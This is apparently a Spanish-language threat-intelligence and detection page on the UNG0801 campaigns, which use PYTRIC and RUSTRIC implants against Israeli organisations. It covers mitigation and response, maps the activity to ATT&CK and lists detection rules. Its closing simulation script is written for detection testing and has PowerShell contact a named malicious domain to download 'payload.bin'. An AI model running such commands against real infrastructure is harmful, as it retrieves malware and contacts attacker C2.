UNG0801: Actividad Amenazante Dirigida a Israel Impulsada por Suplantación de Iconos de AV
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El informe describe dos campañas conectadas que utilizan documentos PDF y Word maliciosos para entregar cargas útiles que imitan íconos de antivirus y atacan a organizaciones israelíes. Una vía deja caer PYTRIC, un implante de Python empaquetado con PyInstaller, mientras que la otra entrega RUSTRIC, un implante basado en Rust lanzado mediante un documento de Word con macros habilitadas. Ambas cargas útiles recopilan detalles del host, ejecutan comandos del sistema y evalúan el software de seguridad instalado; PYTRIC además incluye funcionalidades destructivas. La entrega está impulsada por adjuntos de phishing dirigido y enlaces alojados en la nube (incluido Dropbox), con Telegram utilizado para mando y control.
Investigación
SEQRITE Labs analizó los señuelos iniciales de phishing, extrajo macros embebidas y reconstruyó la cadena de carga útil dejada. Se confirmó que PYTRIC es un paquete PyInstaller con rutinas de descubrimiento y eliminación de archivos, y los analistas observaron credenciales de bot de Telegram asociadas con Backup2040. RUSTRIC fue perfilado como un binario Rust que verifica veintiocho productos antivirus y activa una carga útil codificada en hexadecimal usando WMI. El análisis de infraestructura conectó la entrega a un enlace de Dropbox y un dominio que resuelve a una dirección IP previamente vinculada a netvigil.org.
Mitigación
Capacite a los usuarios para tratar con precaución los adjuntos de PDF y Word no solicitados, especialmente los archivos presentados como herramientas de seguridad o utilidades relacionadas con AV. Configure la seguridad del correo electrónico para bloquear documentos con macros y para marcar o restringir las URL que apuntan a hosts de almacenamiento en la nube usados para la entrega de cargas útiles. En los endpoints, monitoree la ejecución de PyInstaller, la creación de procesos WMI inusuales y la invocación sospechosa de utilidades integradas como whoami, hostname y nslookup. Bloquear dominios e IPs maliciosas identificadas puede interrumpir aún más la ruta de infección.
Respuesta
Si se detecta actividad, aísle el sistema afectado, preserve los datos volátiles y recoja los documentos maliciosos para una evaluación inicial basada en hashes. Detenga cualquier proceso generado por WMI sospechoso y elimine las cargas útiles dejadas en ubicaciones comunes de preparación como la carpeta de Descargas. Realice una validación forense para actividades de eliminación o borrado de archivos, restablezca credenciales potencialmente expuestas y monitoree comunicaciones de C2 mediante Telegram.
«graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#c2f0c2 classDef malware fill:#ff9999 classDef process fill:#dddddd classDef operator fill:#ff9900 %% Action nodes attack_phishing[«<b>Acción</b> – <b>T1566.001 Phishing: Spearphishing Attachment</b><br/>Las víctimas reciben un correo electrónico con un archivo PDF o Word malicioso.»] class attack_phishing action attack_user_exec[«<b>Acción</b> – <b>T1204.002 Ejecución del Usuario: Archivo Malicioso</b><br/>La víctima abre el documento PDF o Word malicioso, desencadenando la ejecución.»] class attack_user_exec action attack_ingress_transfer[«<b>Acción</b> – <b>T1105 Transferencia de Herramienta Ingresante</b><br/>El PDF instruye a la víctima a descargar una carga útil de segunda etapa desde Dropbox.»] class attack_ingress_transfer action attack_exec_python[«<b>Acción</b> – <b>T1059.006 Intérprete de Comandos y Scripts: Python</b><br/>PYTRIC (ejecutable de Python empaquetado con PyInstaller) se ejecuta en el host.»] class attack_exec_python action attack_exec_vb[«<b>Acción</b> – <b>T1059.005 Intérprete de Comandos y Scripts: Visual Basic</b><br/>Las macros de VBA en el documento de Word decodifican y escriben la carga útil final en el disco.»] class attack_exec_vb action attack_masquerade[«<b>Acción</b> – <b>T1036.005 Enmascaramiento: Coincidir con Nombre o Ubicación Legítima</b><br/>Los binarios están nombrados para imitar a proveedores de antivirus confiables (Check Point, SentinelOne).»] class attack_masquerade action attack_obfuscate[«<b>Acción</b> – <b>T1027 Archivos o Información Ofuscados</b><br/>La carga útil está codificada en hexadecimal dentro de la macro para evitar la detección estática.»] class attack_obfuscate action attack_proxy_exec[«<b>Acción</b> – <b>T1218 Ejecución de Proxy de Binario del Sistema</b><br/>Se utilizan binarios legítimos (wmic, whoami.exe, hostname.exe, nslookup.exe) para ejecutar comandos.»] class attack_proxy_exec action attack_wmi[«<b>Acción</b> – <b>T1047 Instrumentación de Administración de Windows</b><br/>RUSTRIC se lanza a través de WMI (Win32_Process.Create).»] class attack_wmi action attack_sw_discovery[«<b>Acción</b> – <b>T1518.001 Descubrimiento de Software de Seguridad</b><br/>RUSTRIC enumera 28 productos antivirus/EDR verificando rutas y procesos conocidos.»] class attack_sw_discovery action attack_process_discovery[«<b>Acción</b> – <b>T1057 Descubrimiento de Procesos</b><br/>RUSTRIC lista los procesos en ejecución en el punto final.»] class attack_process_discovery action attack_c2_web[«<b>Acción</b> – <b>T1071.001 Protocolo de Capa de Aplicación: Protocolos Web</b><br/>Los implantes se comunican con C2 a través de protocolos web estándar.»] class attack_c2_web action attack_c2_port[«<b>Acción</b> – <b>T1571 Puerto No Standard</b><br/>La comunicación ocurre en HTTPS en el puerto 443.»] class attack_c2_port action attack_subvert_trust[«<b>Acción</b> – <b>T1553 Subversión de Controles de Confianza</b><br/>Los binarios están disfrazados con iconos/marcado de proveedores de seguridad legítimos.»] class attack_subvert_trust action attack_impair_defenses[«<b>Acción</b> – <b>T1562.011 Interferir en Defensas: Imitación de Alertas de Seguridad</b><br/>Las falsas alertas de seguridad refuerzan la apariencia confiable de los binarios maliciosos.»] class attack_impair_defenses action %% Tool nodes tool_wmic[«<b>Herramienta</b> – <b>Nombre</b>: wmic<br/><b>Descripción</b>: Utilidad de línea de comandos de Instrumentación de Administración de Windows.»] class tool_wmic tool tool_whoami[«<b>Herramienta</b> – <b>Nombre</b>: whoami.exe<br/><b>Descripción</b>: Muestra el nombre del usuario actual.»] class tool_whoami tool tool_hostname[«<b>Herramienta</b> – <b>Nombre</b>: hostname.exe<br/><b>Descripción</b>: Devuelve el nombre del host de la máquina.»] class tool_hostname tool tool_nslookup[«<b>Herramienta</b> – <b>Nombre</b>: nslookup.exe<br/><b>Descripción</b>: Utilidad de consultas DNS.»] class tool_nslookup tool %% File nodes file_malicious_pdf[«<b>Archivo</b> – <b>Nombre</b>: PDF malicioso<br/><b>Propósito</b>: Vector de entrega para la instrucción inicial.»] class file_malicious_pdf file file_malicious_word[«<b>Archivo</b> – <b>Nombre</b>: Word malicioso<br/><b>Propósito</b>: Contiene macro VBA que decodifica la carga útil final.»] class file_malicious_word file file_dropbox[«<b>Archivo</b> – <b>Nombre</b>: Enlace de carga útil de Dropbox<br/><b>Propósito</b>: Hospeda el ejecutable PYTRIC de segunda etapa.»] class file_dropbox file %% Malware nodes malware_pytric[«<b>Malware</b> – <b>Nombre</b>: PYTRIC<br/><b>Descripción</b>: Puerta trasera de Python empaquetada con PyInstaller.»] class malware_pytric malware malware_rustric[«<b>Malware</b> – <b>Nombre</b>: RUSTRIC<br/><b>Descripción</b>: Componente ejecutado por WMI utilizado para descubrimiento y C2.»] class malware_rustric malware %% Operator node for branching op_and1((«AND»)) class op_and1 operator %% Connections attack_phishing u002du002d>|entrega| file_malicious_pdf attack_phishing u002du002d>|entrega| file_malicious_word file_malicious_pdf u002du002d>|abierto por la víctima| attack_user_exec file_malicious_word u002du002d>|abierto por la víctima| attack_user_exec attack_user_exec u002du002d>|desencadena| attack_ingress_transfer attack_ingress_transfer u002du002d>|descarga| file_dropbox file_dropbox u002du002d>|proporciona| malware_pytric attack_user_exec u002du002d>|ejecuta| attack_exec_vb attack_exec_vb u002du002d>|escribe| malware_rustric attack_ingress_transfer u002du002d>|ejecuta| attack_exec_python attack_exec_python u002du002d>|ejecuta| malware_pytric malware_pytric u002du002d>|utiliza| attack_obfuscate malware_pytric u002du002d>|utiliza| attack_masquerade attack_obfuscate u002du002d>|soporta| attack_proxy_exec attack_masquerade u002du002d>|soporta| attack_proxy_exec attack_proxy_exec u002du002d>|llama| tool_wmic attack_proxy_exec u002du002d>|llama| tool_whoami attack_proxy_exec u002du002d>|llama| tool_hostname attack_proxy_exec u002du002d>|llama| tool_nslookup tool_wmic u002du002d>|lanza| attack_wmi attack_wmi u002du002d>|ejecuta| malware_rustric malware_rustric u002du002d>|realiza| attack_sw_discovery malware_rustric u002du002d>|realiza| attack_process_discovery attack_sw_discovery u002du002d>|alimenta en| attack_c2_web attack_process_discovery u002du002d>|alimenta en| attack_c2_web attack_c2_web u002du002d>|utiliza| attack_c2_port attack_c2_web u002du002d>|habilita| attack_subvert_trust attack_c2_web u002du002d>|habilita| attack_impair_defenses %% Styling class attack_phishing,attack_user_exec,attack_ingress_transfer,attack_exec_python,attack_exec_vb,attack_masquerade,attack_obfuscate,attack_proxy_exec,attack_wmi,attack_sw_discovery,attack_process_discovery,attack_c2_web,attack_c2_port,attack_subvert_trust,attack_impair_defenses action class tool_wmic,tool_whoami,tool_hostname,tool_nslookup tool class file_malicious_pdf,file_malicious_word,file_dropbox file class malware_pytric,malware_rustric malware class op_and1 operator «
Flujo de Ataque
Detecciones
Posible abuso de Telegram como canal de mando y control (via dns_query)
Ver
Posible infiltración/exfiltración de datos/C2 a través de servicios/herramientas de terceros (via dns)
Ver
Posible enumeración de sistema (via línea de comando)
Ver
IOCs (FuenteIP) para detectar: UNG0801: Rastreando Clústeres de Amenazas obsesionados con la Suplantación de Íconos de AV dirigidos a Israel
Ver
IOCs (DestinoIP) para detectar: UNG0801: Rastreando Clústeres de Amenazas obsesionados con la Suplantación de Íconos de AV dirigidos a Israel
Ver
IOCs (HashSha256) para detectar: UNG0801: Rastreando Clústeres de Amenazas obsesionados con la Suplantación de Íconos de AV dirigidos a Israel
Ver
Comunicación C2 utilizando dominio y IP específicos [Conexión de Red de Windows]
Ver
Detección de PDF Malicioso y Ejecución de Implante en Operación IconCat [Creación de Procesos de Windows]
Ver
Ejecución de Simulación
Prerequisito: La verificación previa de telemetría y línea base debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y tienen como objetivo generar la telemetría exacta que espera la lógica de detección. Los ejemplos abstractos o no relacionados llevarán a un diagnóstico incorrecto.
-
Narrativa del Ataque y Comandos:
El adversario ha pre-registrado el dominio stratioai.org y lo ha configurado para resolver a 159.198.68.25 (un VPS comprometido). Usando una línea única de PowerShell, inician un beacon C2 que descarga una pequeña carga útil y luego mantiene un shell inverso persistente. La conexión saliente se realiza a través de HTTPS (puerto 443) para mezclarse con el tráfico normal, pero el firewall registra la IP de destino y la consulta DNS, satisfaciendo la regla sigma. -
Guión de Prueba de Regresión:
# ------------------------------------------------- # Beacon C2 simulado para validación de detección # ------------------------------------------------- # 1. Resolver el dominio malicioso (fuerza una consulta DNS) $maliciousDomain = "stratioai.org" $resolved = [System.Net.Dns]::GetHostAddresses($maliciousDomain) Write-Host "Resolved $maliciousDomain to $($resolved -join ', ')" # 2. Establecer conexión HTTPS con la IP maliciosa (C2) $maliciousIP = "159.198.68.25" $url = "https://$maliciousDomain/payload.bin" try { $response = Invoke-WebRequest -Uri $url -UseBasicParsing -TimeoutSec 10 Write-Host "C2 request succeeded, size: $($response.ContentLength) bytes" } catch { Write-Error "C2 request failed: $_" } # 3. OPCIONAL: Mantener el canal vivo por 30 segundos Start-Sleep -Seconds 30 # ------------------------------------------------- -
Comandos de Limpieza:
# Eliminar cualquier archivo temporal (ninguno creado en este guión) # Borrar la caché DNS para evitar reutilización accidental ipconfig /flushdns Write-Host "Limpieza completa."